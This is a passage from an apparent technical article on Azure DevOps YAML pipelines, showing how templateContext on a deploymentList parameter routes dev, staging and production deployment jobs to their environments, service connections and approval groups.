\u003cstrong\u003enot\u003c/strong\u003e valid on jobs or stages defined directly in the pipeline root YAML — those are not processed by a \u003ccode\u003e${{ each }}\u003c/code\u003e loop, and the parser surfaces an \u0026ldquo;Unexpected value \u0026rsquo;templateContext\u0026rsquo;\u0026rdquo; error if used there.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"templatecontext-with-deploymentlist\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e with \u003ccode\u003edeploymentList\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"the-basic-pattern\"\u003eThe Basic Pattern\u003c/h3\u003e\n\u003cp\u003eThe pipeline file defines a \u003ccode\u003edeploymentList\u003c/code\u003e parameter and passes a list of deployment definitions, each with a \u003ccode\u003etemplateContext:\u003c/code\u003e block. The template file receives the list and iterates with \u003ccode\u003e${{ each deploy in parameters.deployments }}\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — two deployments, each with targetEnvironment in templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploy dev\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploy prod\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-jobs.yml — iterates and routes to the correct Azure environment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Set the Azure environment from per-job templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eresourceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.pool }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSubsequent properties (\u003ccode\u003eenvironment:\u003c/code\u003e) map specific metadata into the job definition. Explicit property mapping (\u003ccode\u003edeployment: ${{ deploy.deployment }}\u003c/code\u003e, \u003ccode\u003estrategy: ${{ deploy.strategy }}\u003c/code\u003e) avoids \u0026ldquo;duplicate key\u0026rdquo; schema errors that occur when using the raw \u003ccode\u003e- ${{ deploy }}\u003c/code\u003e merge syntax.\u003c/p\u003e\n\u003ch3 id=\"production-pattern-1--environment-routing\"\u003eProduction Pattern 1 — Environment Routing\u003c/h3\u003e\n\u003cp\u003eEach job in the list targets a different Azure DevOps environment — with its own approval gates, service connection, and notification channel. All three pieces of per-job metadata travel with the job definition:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — three deployment jobs, each with full routing metadata\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-job.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev-approvers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eresourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Pre-deploy checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Pre-flight\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployStaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eplatform-team\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eresourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-staging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Pre-deploy checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Pre-flight\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esecurity-team\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eresourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Pre-deploy checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Pre-flight\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-job.yml — reads all four templateContext properties per job\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimageTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ deploy.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Azure DevOps environment — controls approval gates and audit log\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eresourceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Bridge templateContext values into runtime variables for script steps\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRESOURCE_GROUP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.resourceGroup }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDEPLOY_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy container\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan 